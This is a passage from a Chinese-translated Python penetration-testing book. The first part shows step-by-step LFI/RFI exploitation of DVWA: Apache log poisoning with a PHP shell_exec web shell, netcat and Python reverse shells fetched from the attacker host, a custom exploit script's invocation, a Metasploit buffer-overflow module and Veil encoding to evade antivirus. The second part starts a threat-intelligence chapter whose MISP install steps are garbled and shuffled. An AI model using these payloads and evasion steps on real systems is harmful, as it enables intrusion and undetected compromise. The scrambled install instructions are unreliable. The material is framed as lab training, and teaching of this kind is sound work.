应用程序并尝试手动利用 LFI 漏洞来将我们讨论过的内容付诸实践。

应该注意,我们已经看到如何在第十二章中使用 Python 编写网络服务的利用程序,逆向工程 Windows 应用程序,在那里我们编写了一个自定义的 Python 利用程序来利用 SLmail 服务。请参考该章节,以刷新您对针对缓冲区溢出的基于服务的利用程序开发的知识。

手动执行 LFI 利用

让我们开始启动 Apache 服务器:

service apache2 start

让我们尝试手动浏览应用程序,看看漏洞在哪里:

前面屏幕中浏览的 URL 是http://192.168.1.102/dvwa/vulnerabilities/fi/?page=include.php。可以看到,请求的 URL 有一个 page 参数,它将要包含的页面作为参数。如果我们查看应用程序的源代码,我们可以看到include()函数的实现如下:

前面的截图将文件变量初始化为在GET请求中获得的参数,没有任何过滤。

下一个截图使用与include()函数下相同的文件变量如下:

如上所示,include()函数包含$file变量的任何值。让我们尝试利用这一点,通过访问以下 URL 读取我们可能无法访问的任何系统文件,比如/etc/passwdhttp://192.168.1.102/dvwa/vulnerabilities/fi/?page=/etc/passwd

现在让我们进一步升级攻击,尝试从 LFI 漏洞中获得 shell。让我们使用Netcat来为我们毒害日志文件,以便从服务器获得 shell。

应该注意的是,我们不应该尝试通过 URL 毒害日志文件。这样做将使我们的有效负载编码为 URL 编码,使攻击无效。

让我们首先尝试查看 Apache 日志文件的内容,并在我们的浏览器窗口中使用以下 URL 加载它:http://192.168.1.102/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log

如前面的截图所示,日志文件的内容显示在页面上。现在让我们继续尝试使用netcat毒害日志文件。首先,按以下方式启动 Netcat:nc 192.168.1.102 80。一旦启动,向服务器发送以下命令:http://192.168.1.102/dvwa?id=<?php echo shell_exec($_GET['cmd']);?>

中了!我们现在毒害了我们的日志文件。现在让我们尝试发出诸如ifconfig之类的命令,看看是否会被执行。我们将浏览的 URL 如下:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=ifconfig

注意cmd参数。我们发送ifconfig命令,该命令将由以下代码行调用:

<?php echo shell_exec($_GET['cmd']);?>,翻译为<?php echo shell_exec(ifconfig)?>

在下面的截图中突出显示的区域显示我们的命令已成功执行。

现在让我们尝试从相同的cmd参数中获得一个反向 shell。我们将使用netcat来获得反向 shell。如果服务器上没有安装 netcat,我们也可以使用 Python 来获得 shell。让我们看看两者的效果。

使用 Netcat 进行反向 shell

在这种情况下,URL 和命令将如下:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=nc -e /bin/sh 192.168.1.102 4444

我们还需要设置一个netcat监听器,它将在端口4444上监听传入的连接。让我们在另一个终端上执行nc -nlvp 4444命令。现在,浏览 URL,看看我们是否得到了 shell:

浏览此 URL 后,让我们尝试查看我们生成的netcat监听器,看看我们是否获得了 shell:

可以验证,我们得到了一个低权限的 shell,www-data

使用 Python 进行反向 shell

现在,假设服务器上没有安装 Netcat。我们将使用 Python 来获得 shell。由于底层服务器是基于 Linux 的,默认情况下会安装 Python。因此,我们将修改我们的利用命令如下:

http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=wget http://192.168.1.102/exp.py -O /tmp/exp.py

可以看到,我们将创建一个用 Python 编写的漏洞利用文件,并在攻击者机器上提供服务。由于在当前示例中,攻击者和受害者都在同一台机器上,URL 是http://192.168.1.102。漏洞利用文件的内容如下所示:

下载漏洞利用文件将完成我们利用过程的第一步。第二步将是执行它并获取回监听器。这可以通过访问以下 URL 来执行:http://192.168.1.102/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=python /tmp/exp.py

让我们看看这个实际操作:

  1. /tmp文件夹中下载并保存 Python 漏洞利用程序:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=wget http://192.168.1.102/exp.py -O /tmp/exp.py

  2. 验证是否已成功保存:

  1. 444上启动netcat监听器:nc -nlvp 4444

  2. 启动调用exp.py脚本连接回攻击者主机的命令:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=python /tmp/exp.py

让我们看看我们的监听器是否已经获得了 shell:

从前面的截图中可以看到,我们已成功获得了 shell。

漏洞利用开发(LFI + RFI)

到目前为止,我们已经学习了如何手动利用 LFI 漏洞。让我们继续尝试开发一个通用的漏洞利用程序,它将利用 LFI 漏洞以及其他相同的应用程序。在本节中,我们将看到如何编写一个了不起的漏洞利用程序,它将利用 DVWA 应用程序中的 RFI 和 LFI 漏洞。尽管这个漏洞利用程序是为 DVWA 应用程序编写的,但我尝试使它通用化。通过一些调整,我们也可以尝试将其用于其他可能存在 LFI 和 RFI 漏洞的应用程序。

让我们安装前提条件:

pip install BeautifulSoup
pip install bs4
pip install selenium
sudo apt-get install libfontconfig
apt-get install npm
npm install ghostdriver
wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
tar xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/

安装phantomjs后,我们需要在控制台上执行以下命令:unset QT_QPA_PLATFORM。这是用于处理phantomjs在 Ubuntu 16.04 版本上使用时抛出的错误,错误信息如下:Message: Service phantomjs unexpectedly exited. Status code was: -6

LFI/RFI 漏洞利用代码

让我们看看下面的代码,它将利用 DVWA 中的 LFI/RFI 漏洞:

在下面的代码片段中,第 65 至 74 行检查要测试的应用程序是否需要身份验证才能利用漏洞:

如果需要身份验证,则从用户提供的 cookie 值设置在 Selenium Python 浏览器/驱动程序中,并使用 cookie 数据调用 URL 以获得有效会话:

第 90 至 105 行用于控制 LFI 漏洞的工作流程。这一部分有一系列我们手动执行的步骤。在第 91 行,我们准备了一个恶意 URL,将毒害日志文件并在access.log文件中放置一个 PHP 代码片段。在第 93 行,我们将该恶意 URL 放入一个名为exp.txt的文本文件中,并要求 Netcat 从该文件中获取输入。请记住,我们在之前毒害access.log文件时使用了netcat;这里将重复相同的操作。在第 97 行,我们要求netcat连接到受害者服务器的80端口,从exp.txt文件中获取输入,并将该输入发送到受害者服务器,以便毒害日志。我们通过创建一个 bash 脚本exp.sh来实现这一点。在第 99 行,我们调用这个 bash 脚本,它将调用netcat并导致netcatevil.txt文件中获取输入,从而毒害日志。在第 103 行,我们设置了漏洞利用 URL,我们将让我们模拟的 selenium 浏览器访问,以便给我们一个反向 shell:

在第 115 行,我们正在调用一个进程,该进程将使浏览器使用start()方法向一个带有有效载荷的易受攻击页面发出请求,在第 116 行之下。但在实际访问利用之前,我们需要设置一个 netcat 监听器。第 119 行设置了一个 Netcat 监听器,并且我们在send_exp()方法的定义中引入了五秒的时间延迟,给 netcat 启动的时间。一旦启动,有效载荷将通过send_exp()方法在第 61 行之下传递。如果一切顺利,我们的监听器将获得 shell。

107-113 行处理漏洞的 RFI 部分。要利用 RFI,我们需要在攻击者机器上创建一个名为evil.txt的恶意文件,它将传递 PHP 有效载荷。创建后,我们需要将它放在/var/www/html/evil.txt中。然后,我们需要启动 Apache 服务器并将有效载荷传递 URL 更新为 RFI 的地址。最后,使用send_exp()方法,我们传递我们的有效载荷,然后启动 netcat 监听器。

上述代码适用于 LFI 和 RFI 漏洞。给定的代码按以下顺序获取用户参数:

python LFI_RFI.py <target ip> <target Base/Login URL> <target Vulnetable URL> <Target Vul parameter> <Login required (1/0)> <Login cookies> <Attacker IP> <Attacker Lister PORT> <Add params required (1/0)> <add_param_name1=add_param_value1,add_param_name2=add_param_value2>  | <LFI (0/1)>

执行 LFI 利用

要执行和利用 LFI 漏洞,我们将向脚本传递以下参数:

python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1.102/dvwa/vulnerabilities/fi/ page 1 "security=low;PHPSESSID=5c6uk2gvq4q9ri9pkmprbvt6u2" 192.168.1.102 4444

上述命令将产生如下截图所示的输出:

如图所示,我们成功获得了www-data的低权限 shell。

执行 RFI 利用

执行和利用 RFI 漏洞,我们将向脚本传递以下参数:

python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1.102/dvwa/vulnerabilities/fi/ page 1 "security=low;PHPSESSID=5c6uk2gvq4q9ri9pkmprbvt6u2" 192.168.1.102 4444 0 0

上述命令将产生如下截图所示的输出:

如我们所见,我们成功获得了 RFI 漏洞的 shell。

开发一个 Metasploit 模块来利用网络服务

在本节中,我们将看到如何制作一个 Metasploit 利用模块来利用给定的漏洞。在这种情况下,我们将专注于一个名为 Crossfire 的游戏应用程序的缓冲区溢出漏洞。为了编写自定义的 Metasploit 模块,我们需要将它们放在特定的目录中,因为当我们在 Metasploit 中使用use exploit /....命令时,默认情况下,框架会在默认的 Metasploit 利用目录中查找可用的模块。如果它在那里找不到给定的利用,那么它会在扩展模块目录中搜索,该目录位于以下路径:/root/msf4/modules/exploits。让我们创建路径和一个自定义目录。我们将打开我们的 Kali 虚拟机并运行以下命令:

mkdir -p ~/.msf4/modules/exploits/custom/cf
cd ~/.msf4/modules/exploits/custom/cf
touch custom_cf.rb

上述命令将在/root/.msf4/modules/exploits/custom/cf 目录中创建一个名为custom_cf的文件。

现在,让我们编辑custom_cf.rb文件,并将以下内容放入其中:

上述提到的代码片段非常简单。它试图利用 Crossfire 应用程序中存在的缓冲区溢出漏洞。Metasploit 为其利用模块定义了一个模板,如果我们要在 Metasploit 中编写模块,我们需要根据我们的需求调整模板。上述模板是用于缓冲区溢出类漏洞的模板。

我们在之前的章节中详细研究了缓冲区溢出。根据我们所学到的,我们可以说要利用缓冲区溢出漏洞,攻击者必须了解以下内容:

  • 缓冲区空间可以容纳的有效载荷大小。

  • 堆栈的返回地址,必须被注入漏洞利用代码的缓冲区地址所覆盖。实际的返回地址会有所不同,但可以计算出覆盖返回地址的有效负载偏移量。一旦我们有了偏移量,我们就可以放置我们能够注入漏洞利用程序的内存位置的地址。

  • 应用程序识别的一组字符,可能会妨碍我们的漏洞利用程序的执行。

  • 所需的填充量。

  • 架构和操作系统的详细信息。

攻击者为了获得上述项目,会执行一系列步骤,包括模糊测试、偏移计算、返回地址检查、坏字符检查等。如果已知上述值,攻击者的下一步通常是生成编码的有效负载并将其发送到服务端并获得一个反向 shell。如果上述值未知,Metasploit 提供了一个缓冲区溢出模板,可以直接插入并使用这些值,而无需我们从头开始编写自定义代码。

讨论中的应用程序 Crossfire 已经在离线状态下进行了模糊测试和调试。根据模糊测试结果,获得的返回地址或 EIP 的值为0X0807b918。换句话说,这意味着如果我们溢出缓冲区,漏洞利用代码将被放置在以下地址的位置:0X0807b918。此外,如上所示,指定的填充量为 300(空格)。我们还指定了坏字符:\x00\x0a\x0d\x20。除此之外,我们还指定了平台为 Linux。

请注意:坏字符是程序字符集无法识别的字符,因此它可能使程序以意外的方式运行。为了找出正在测试的底层软件的常见坏字符,最成功的方法是反复试验。我通常用来找出常见坏字符的方法是将所有唯一字符发送到应用程序,然后使用调试器,检查寄存器级别发生了哪些字符变化。发生变化的字符可以进行编码和避免。

因此,在第 43 行,当我们调用payload.invoke命令时,Metasploit 内部创建一个反向 Meterpreter TCP 有效负载并对其进行编码,返回一个端口为4444的 shell。让我们尝试看看这个过程:

  1. 首先,让我们安装并启动 Crossfire 应用程序。可以在以下网址找到易受攻击版本的 Crossfire 应用程序osdn.net/projects/sfnet_crossfire/downloads/crossfire-server/1.9.0/crossfire-1.9.0.tar.gz/。下载并使用以下命令解压缩:
 tar zxpf crossfire.tar.gz
  1. 然后,按以下方式启动易受攻击的服务器:

现在继续启动 Metasploit。导出我们创建的模块,并尝试利用易受攻击的服务器:

正如我们所看到的,我们开发的漏洞利用程序完美地运行,并为我们提供了受害者机器的反向 shell,而在我们的情况下,这台机器与我们正在使用的机器相同。

对 shell 代码进行编码以避免检测

现在假设我们已经在我们正在测试的底层服务中发现了一个漏洞。然而,在这种情况下,该服务器已安装了杀毒软件。任何优秀的杀毒软件都将包含所有知名漏洞的签名,通常几乎所有 Metasploit 漏洞利用模块的签名都会存在。因此,我们必须使用一种可以规避杀毒软件检测的方法。这意味着我们需要使用某种编码或其他方法来传递我们的有效负载,以避免杀毒软件的检测。我们可以通过三种不同的方式来做到这一点:

  1. 最成功的方法是使用您选择的语言(Python/C/C++/Java)开发自定义利用程序。这种方法很有用,因为自定义利用程序不会有任何 AV 签名,通常会逃避 AV 保护。或者,我们也可以下载一个公共利用程序,并进行大量修改以改变其产生的签名。我们在 Web 利用案例中开发的利用程序都是从头开始编写的,理论上不应该被任何 AV 检测到。

  2. 第二种方法是将我们的有效载荷/利用程序注入到底层系统的进程内存中。这样做将在内存中执行代码,并且大多数防病毒软件都不会检测到。

  3. 第三种方法是利用编码来防止被检测。在本节中,我们将看到如何利用一个非常强大的编码框架 VEIL 来制作一个可能逃避 AV 检测的有效载荷。

下载和安装 Veil

应该注意,Veil 已预装在最新版本的 Kali Linux 中。对于其他版本的 Linux,我们可以使用以下命令安装 Veil:

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

一旦 Veil 成功安装,生成 Veil 编码有效载荷就是一个非常简单的任务。在使用 Veil 时,背后发生的事情是,它试图使利用代码变得神秘和随机,以便基于签名的检测工作的 AV 可能会被利用的随机性和神秘性所愚弄。有两种方法可以做到这一点。一种方法是使用 Veil 提供的交互式 shell。这可以通过输入命令veil,然后在规避模块下选择一个有效载荷来调用。另一个更简单的选择是在命令行中指定所有选项,如下所示:

veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.102 --port 4444 -o exploit

上面的命令将使用 Veil 的有效载荷编号41来对 Metasploit 模块windows/meterpreter/reverse_tcp进行编码。这将产生以下输出:

上面的截图显示了 Veil 将对其进行编码并可以传递给受害者以查看其是否逃避防病毒软件的利用程序。如果没有,那么我们必须使用 Veil 的交互版本来调整有效载荷参数,以生成更独特的签名。您可以在“进一步阅读”部分的链接中找到有关 Veil 的更多信息。

总结

在本章中,我们学习了开发自定义利用程序来利用 Web 和网络服务。我们还讨论了如何从防病毒软件中逃避我们的利用。此外,我们还探讨了各种 Web 漏洞,如 LFI 和 RFI,并讨论了如何提升这些漏洞以从受害者那里获得反向 shell。重要的是要理解,利用开发需要对潜在漏洞的深入理解,我们应该始终尝试制作可重用的通用利用程序。请随意修改我们讨论的利用代码,使其通用化,并尝试在其他应用程序中使用它们。

在下一章中,我们将走出渗透测试生态系统,了解更多关于安全运营中心(SOC)或网络安全监控生态系统的信息。我们将了解什么是网络威胁情报以及如何利用它来保护组织免受潜在威胁。我们还将了解如何将网络威胁情报自动化,以辅助 SIEM 工具的检测能力。

问题

  1. 还可以使用自定义利用程序利用哪些其他基于 Web 的漏洞?

  2. 如果一个攻击向量失败,我们如何改进开发的利用代码以尝试其他可能性?

进一步阅读

第十四章:网络威胁情报

到目前为止,本书一直关注网络安全的攻击方面。我们主要关注使用 Python 在渗透测试领域。在本章中,我们将尝试理解 Python 如何在网络安全的防御方面使用。当我们谈论网络安全的防御时,首先想到的是监控。安全运营中心是一个常用于监控团队的术语,负责持续监控组织的安全格局。这个团队使用一种称为安全信息与事件管理SIEM)的工具,它作为一个聚合器,收集需要监控的各种应用程序和设备的日志。除了聚合,SIEM 还有一个规则引擎,其中配置了各种规则用于异常检测。规则因组织而异,取决于业务背景和需要监控的日志。如今,我们经常有许多基于大数据集群构建的 SIEM 解决方案,这些解决方案使用机器学习算法,并由人工智能模型驱动,结合规则引擎,使监控更加有效。那么网络威胁情报在这一切中的作用是什么?我们将在本章中学习这一点,以及以下主题:

  • 网络威胁情报

  • 工具和 API

  • 威胁评分:为每个 IOC 给出一个分数

  • STIX 和 TAXII 以及外部查找

网络威胁情报简介

网络威胁情报是处理原始收集信息并将其转化为可操作情报的过程。广义上说,威胁情报是一个包括手动情报收集和使用自动化工具来增强组织安全格局的过程。让我们在本节中尝试理解自动化和手动威胁情报。

手动威胁情报

手动威胁情报是手动收集情报并将其转化为可操作情报的过程。让我们以一个特定于组织的手动威胁情报为例。

为组织“X”的网络安全团队工作的分析师对组织的内部情况非常了解,包括高层管理、关键流程和关键应用。作为网络安全和情报团队的一员,这名员工的职责之一就是在深网/暗网上搜索可能针对组织的潜在威胁。威胁的范围总是多种多样的。可能包括泄露的电子邮件或在暗网上的痕迹,这可能会引起组织的警惕。另一个威胁可能是针对特定行业(如电信行业)的勒索软件。如果员工发现了这一点,组织就能提前得到警报,并加强对勒索软件的防御机制。

手动威胁情报的另一个例子是收集与内部威胁相关的信息。对于一个拥有庞大员工群体和大量流程的组织来说,监控每个人总是很困难的。安全信息与事件管理系统(SIEM)通常难以监控行为威胁。假设有一个服务器 X(Web 服务器),通常每天与服务器 Y(数据库)和 Z(应用程序)通信。然而,SIEM 的一些痕迹表明服务器 X 正在通过 SMB 端口445与服务器 A 通信。这种行为很奇怪和可疑。现在,要对各个服务器之间的日常通信进行基线分析,并创建规则以检测异常对于 SIEM 来说将会非常困难,因为组织内通常有大量系统。虽然现在有一些解决方案是基于人工智能引擎和大数据构建的,用于进行此类异常检测,但手动威胁狩猎目前仍然效果最好。在组织内手动识别异常的这一过程被称为内部威胁狩猎

自动化威胁情报

正如我们所讨论的,威胁情报是一个先进的过程,使组织能够不断收集基于上下文和情境风险分析的有价值的网络威胁见解。它可以根据组织特定的威胁格局进行定制。简单来说,威胁情报是基于识别、收集和丰富相关网络威胁数据和信息的分析输出。网络威胁数据通常包括威胁迹象(IOCs),如恶意 IP、URL、文件哈希、域名、电子邮件地址等。

这个收集信息并将其转化为可供安全产品(如 SIEM 工具、IDS/IPS 系统、防火墙、代理服务器、WAF 等)使用的可操作情报的过程是我们在本章中将重点关注的。这个收集和情境化信息的过程可以手动完成,如前所述,也可以自动化。自动化可以进一步分为分离的自动化(在脚本级别)或使用中央编排引擎的自动化。我们将考虑两者的优缺点。

有各种安全网站和社区公开分享网络情报数据,作为一种协作措施来对抗黑客活动,并保护组织免受新兴威胁。这些社区通常使用所谓的威胁共享源或威胁源。共享的数据包含恶意 URL、恶意 IP、恶意文件、恶意文件的签名、恶意域名、恶意 C&C 服务器等。所有共享的数据都是由组织报告的,表示已经做了可疑的事情。这可能是 SSH 扫描活动、水平扫描、钓鱼网站、暴力 IP、恶意软件签名等。

收集的所有信息都与 SIEM 共享,并在 SIEM 上创建规则,以检测组织内部针对标记为恶意的 IOCs 的任何通信。如果 SIEM 指示内部服务器或资产与收集的 IOCs 之间存在通信,它将警告组织,然后可以采取适当的预防措施。虽然这个过程可能看起来很简单,但实际上并不像看起来那么简单。行业面临的主要挑战是 IOCs 的质量。值得注意的是,已经收集了数百万个 IOCs。组织拥有的高质量 IOCs 越多,检测就越好。然而,拥有数百万个 IOCs 并不能默认提高检测能力。我们不能只是以自动化的方式收集 IOCs 并将其提供给 SIEM。从不同格式(如 JSON、CSV、STIX、XML、txt 和数据库文件)的各种来源收集的 IOCs 带有大量噪音。这意味着非恶意的域和 IP 也被标记。如果直接将这些嘈杂的数据提供给 SIEM,并在其上创建规则,这将导致大量的误报警报,从而增加分析师所需的工作量。

在本章中,我们将学习如何消除误报警报并提高收集的 IOCs 的质量。我们将编写一个自定义的 Python 算法来提高 IOCs 的质量,并为每个收集的 IOCs 关联一个威胁分数。威胁分数将在 1 到 10 的范围内。较高端的分数表示更严重的潜在严重性,而较低端的分数可能不太严重。这将使我们只与 SIEM 共享高质量的 IOCs,从而提高真正的阳性率。

网络威胁情报平台

如前所述,情报收集的过程可以通过不同的脚本自动化,我们可以将它们组合起来,或者建立一个能够收集和分享网络威胁情报的中央平台。具有这种能力的中央平台被称为网络威胁情报平台。让我们试着理解网络威胁情报收集的半自动化和完全自动化过程:

  • 以下图表代表了威胁情报平台试图解决的问题陈述。在一个大型组织中,SIEM 工具每分钟生成 100-100,000 个事件,规则引擎每小时触发 20-50 个警报。分析师需要手动验证每个警报,并检查相关的 IP 或域名是否合法。分析师必须使用各种安全查找站点,手动解释它们,并决定警报是否有资格进一步调查,或者是否是误报。这就是大量人力投入的地方,也是我们需要自动化网络威胁情报的地方:

  • 情报数据收集的各种来源包括以下内容:

  • 一个完全成熟的威胁情报平台的能力包括以下内容:

工具和 API

当我们谈论网络威胁情报平台时,有许多商业和开源工具可用于收集、情境化和分享情报。一些最知名的商业工具包括以下内容:

  • IBM X-Force Exchange

  • Anomali ThreatStream

  • Palo Alto Networks AutoFocus

  • RSA NetWitness 套件

  • LogRhythm 威胁生命周期管理(TLM)平台

  • FireEye iSIGHT Threat Intelligence

  • LookingGlass Cyber Solutions

  • AlienVault 统一安全管理(USM)

最知名的开源工具包括以下内容:

  • MISP

  • OpenIOC

  • OpenTAXII

  • Yeti

  • AbuseHelper

  • sqhunter

  • sqhunter

所有先前提到的开源工具都非常好,并且具有不同的功能。我个人发现恶意软件信息共享平台MISP)在功能和特性方面都非常有用。它成为我最喜欢的原因是其可扩展的架构和其 API,使其能够与其他编程语言协作。这是我们将在本章重点关注的开源威胁情报平台。我们的目标是了解 MISP 开箱即用提供了什么,以及我们可以添加哪些附加功能,以获得高质量的 IOC 源文件到 SIEM 工具。MISP 暴露了一个很棒的pymispAPI,用于从 Python 中消费收集的 IOCs。

MISP

MISP是一个用 cakePHP 编写的框架,有着出色的社区支持。该框架的目标是从发布恶意内容的各种源头收集威胁情报,并将其存储在后端存储库中。相同的内容可以在以后进行分析并与安全工具(如 SIEM、防火墙和 IDS/IPS 系统)共享。该工具有很多功能,包括以下内容:

  • 它有一个中央解析器,能够解析各种 IOC 源文件,如纯文本、CSV、TSV、JSON 和 XML。这是一个很大的优势,因为这意味着我们不必担心情报以何种格式从源头提供。不同的源头以不同的格式提供情报。中央解析器解析 IOC 信息,并将其转换为与 MISP 支持的后端模式匹配的一致格式。

  • 它有一个 API,使我们能够直接与 SIEM 工具共享情报(但这是一个缺点,因为 MISP 尚未具有误报消除能力)。

  • 它具有与其他 MISP 实例集成并具有用于提供威胁共享的服务器的能力。

  • 它具有基于角色的访问 Web 界面的功能,允许分析人员了解和关联收集的 IOC。

  • 它具有基于队列的后端工作系统,其中可以安排一系列源在任何时间/一天的任何时间进行。我们还可以更改这应该重复多久。后端工作程序和排队系统基于 Redis 和 CakeResque。

  • MISP 不仅在收集威胁信息方面非常出色,而且在相关性和以多种格式共享信息方面也非常出色,例如 CSV、STIX、JSON、文本、XML 和 Bro-IDS 签名。

MISP 提供的完整功能列表可以在官方存储库中找到:github.com/MISP/MISP

安装 MISP

安装说明可以在先前提到的 GitHub 存储库中找到。我们已经在 CentOS 7 上测试了代码并使用了它。执行以下说明在 CentOS 7 上设置 MISP:

# INSTALLATION INSTRUCTIONS
## for CentOS 7.x

### 0/ MISP CentOS 7 Minimal NetInstall - Status
--------------------------------------------
!!! notice
Semi-maintained and tested by @SteveClement, CentOS 7.5-1804 on 20181113<br />
It is still considered experimental as not everything works seemlessly.
CentOS 7.5-1804 [NetInstallURL](http://mirror.centos.org/centos/7.5.1804/os/x86_64/)

{!generic/globalVariables.md!}

```bash

# CentOS 特定

RUN_PHP='/usr/bin/scl enable rh-php71 '

RUN_PYTHON='/usr/bin/scl enable rh-python36 '

PHP_INI=/etc/opt/rh/rh-php71/php.ini

```py
 ### 1/ Minimal CentOS install 
  1. 使用以下软件安装一个最小的 CentOS 7.x 系统:
- OpenSSH server
- LAMP server (actually, this is done below)
- Mail server
```bash

# 确保将主机名设置为正确的,而不是像一个蛮人(手动在/etc/hostname 中)

使用 sudo hostnamectl set-hostname misp.local #或者您希望它成为什么

# 确保您的系统是最新的:

使用 sudo yum update -y

```py
 ### 2/ Dependencies *
 ----------------
  1. 安装完成后,您可以以 root 或使用sudo执行以下步骤:
```bash

# 我们需要一些来自企业 Linux 额外软件包存储库的软件包

使用 sudo yum install epel-release -y

# 自 MISP 2.4 起,PHP 5.5 是最低要求,因此我们需要比 CentOS 基础提供的更新版本

# 软件集合是一种方法,参见 https://wiki.centos.org/AdditionalResources/Repositories/SCL

使用 sudo yum install centos-release-scl -y

# 安装 vim(可选)

使用 sudo yum install vim -y

# 安装依赖项:

使用 sudo yum install gcc git httpd zip redis mariadb mariadb-server python-devel python-pip python-zmq libxslt-devel zlib-devel ssdeep-devel -y

# 从 SCL 安装 PHP 7.1,参见 https://www.softwarecollections.org/en/scls/rhscl/rh-php71/

使用 sudo yum install rh-php71 rh-php71-php-fpm rh-php71-php-devel rh-php71-php-mysqlnd rh-php71-php-mbstring rh-php71-php-xml rh-php71-php-bcmath rh-php71-php-opcache -y

# 从 SCL 安装 Python 3.6,参见

# https://www.softwarecollections.org/en/scls/rhscl/rh-python36/

使用 sudo yum install rh-python36 -y

# rh-php71-php 仅为来自 SCL 的 httpd24-httpd 提供 mod_ssl mod_php

# 如果我们想要使用 CentOS 基础的 httpd,我们可以使用 rh-php71-php-fpm

使用 sudo systemctl enable rh-php71-php-fpm.service

使用 sudo systemctl start rh-php71-php-fpm.service

使用 sudo $RUN_PHP "pear channel-update pear.php.net"

使用 sudo $RUN_PHP "pear install Crypt_GPG"    #我们需要版本>1.3.0

```py
!!! notice
$RUN_PHP makes php available for you if using rh-php71\. e.g: sudo $RUN_PHP "pear list | grep Crypt_GPG"
```bash

# GPG 需要大量的熵,haveged 提供熵

使用 sudo yum install haveged -y

使用 sudo systemctl enable haveged.service

使用 sudo systemctl start haveged.service

# 启用并启动 redis

使用 sudo systemctl enable redis.service

使用 sudo systemctl start redis.service

```py
### 3/ MISP code
------------
```bash

```py

3.  Download MISP using `git` in the `/var/www/` directory:

使用 sudo mkdir $PATH_TO_MISP

使用 sudo chown apache:apache $PATH_TO_MISP

cd /var/www

使用 sudo -u apache git clone https://github.com/MISP/MISP.git

cd $PATH_TO_MISP

使用 sudo -u apache git checkout tags/$(git describe --tags git rev-list --tags --max-count=1)

如果最后一个快捷方式不起作用,请手动指定最新版本

例如:git checkout tags/v2.4.XY。以下是经过测试的:(git checkout tags/v2.4.79)

关于“分离的 HEAD 状态”的消息是预期行为

(如果要更改内容并进行拉取请求,只需创建一个新分支)

获取子模块

使用 apache 用户执行 git submodule update --init --recursive

使 git 忽略子模块的文件系统权限差异

使用 apache 用户执行 git submodule foreach --recursive git config core.filemode false

创建一个 python3 虚拟环境

sudo -u apache $RUN_PYTHON "virtualenv -p python3 $PATH_TO_MISP/venv"

cd /var/www/MISP/app

cd /var/www/MISP/app/files/scripts/python-stix

sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U pip setuptools

通过运行以下命令安装 Mitre 的 STIX 及其依赖项:

sudo yum install python-importlib python-lxml python-dateutil python-six -y

cd /var/www/MISP/app/files/scripts

post_max_size = 50M

sudo chown apache:apache /var/www/MISP/app/files/terms

CakeResque 通常使用 phpredis 连接到 redis,但它有一个(有缺陷的)通过 Redisent 的备用连接器。强烈建议使用"yum install php-redis"安装 phpredis


4.  If your `umask` has been changed from the default, it is a good idea to reset it to `0022` before installing the Python modules:

UMASK=$(umask)

umask 0022

sudo mkdir /usr/share/httpd/.composer

sudo -u apache $PATH_TO_MISP/venv/bin/pip install .

安装 maec

sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U maec

安装 zmq

sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U zmq

建议:在/etc/opt/rh/rh-php71/php.ini 中更改一些 PHP 设置

sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U redis

安装 magic、lief、pydeep

sudo -u apache $PATH_TO_MISP/venv/bin/pip install -U python-magic lief git+https://github.com/kbandla/pydeep.git

安装 mixbox 以适应新的 STIX 依赖项:

cd /var/www/MISP/app/files/scripts/

sudo -u apache git clone https://github.com/CybOXProject/mixbox.git

cd /var/www/MISP/app/files/scripts/mixbox

完成

sudo -u apache $RUN_PHP "php composer.phar install"

cd /var/www/MISP/PyMISP

sudo chmod -R g+ws /var/www/MISP/app/files/scripts/tmp

sudo chown apache:apache /usr/share/httpd/.cache

为 php-fpm 启用 python3

安装 PyMISP

sudo sed -i.org -e 's/^;(clear_env = no)/\1/' /etc/opt/rh/rh-php71/php-fpm.d/www.conf

sudo systemctl restart rh-php71-php-fpm.service

umask $UMASK

 ### 4/ CakePHP
 -----------
#### CakePHP is now included as a submodule of MISP and has been fetch by a previous step.
  1. sudo ln -s ../php-fpm.d/timezone.ini /etc/opt/rh/rh-php71/php.d/99-timezone.ini
```bash

```py
```bash

cd /var/www/MISP/app/files/scripts/python-cybox

sudo chown apache:apache /usr/share/httpd/.composer

echo 'source scl_source enable rh-python36' | sudo tee -a /etc/opt/rh/rh-php71/sysconfig/php-fpm

sudo $RUN_PHP "pecl install redis"

sudo -u apache $RUN_PHP "php composer.phar config vendor-dir Vendor"

sudo -u apache $RUN_PHP "php composer.phar require kamisama/cake-resque:4.1.2"

# sudo -u apache git clone https://github.com/STIXProject/python-stix.git

sudo find /var/www/MISP -type d -exec chmod g=rx {} \;

echo "extension=redis.so" |sudo tee /etc/opt/rh/rh-php71/php-fpm.d/redis.ini

sudo ln -s ../php-fpm.d/redis.ini /etc/opt/rh/rh-php71/php.d/99-redis.ini

sudo systemctl restart rh-php71-php-fpm.service

# 如果您尚未在 php.ini 中设置时区

echo 'date.timezone = "Europe/Luxembourg"' |sudo tee /etc/opt/rh/rh-php71/php-fpm.d/timezone.ini

使用以下命令作为 root 用户确保权限设置正确:

# sudo -u apache git clone https://github.com/CybOXProject/python-cybox.git

# max_execution_time = 300

# memory_limit = 512M

# upload_max_filesize = 50M

# sudo -u apache $PATH_TO_MISP/venv/bin/pip install enum34

sudo -u apache $PATH_TO_MISP/venv/bin/pip install .

对于 upload_max_filesize、post_max_size、max_execution_time、max_input_time 和 memory_limit 等键

sudo sed -i "s/^\($key\).*/\1 = $(eval echo \${$key})/" $PHP_INI

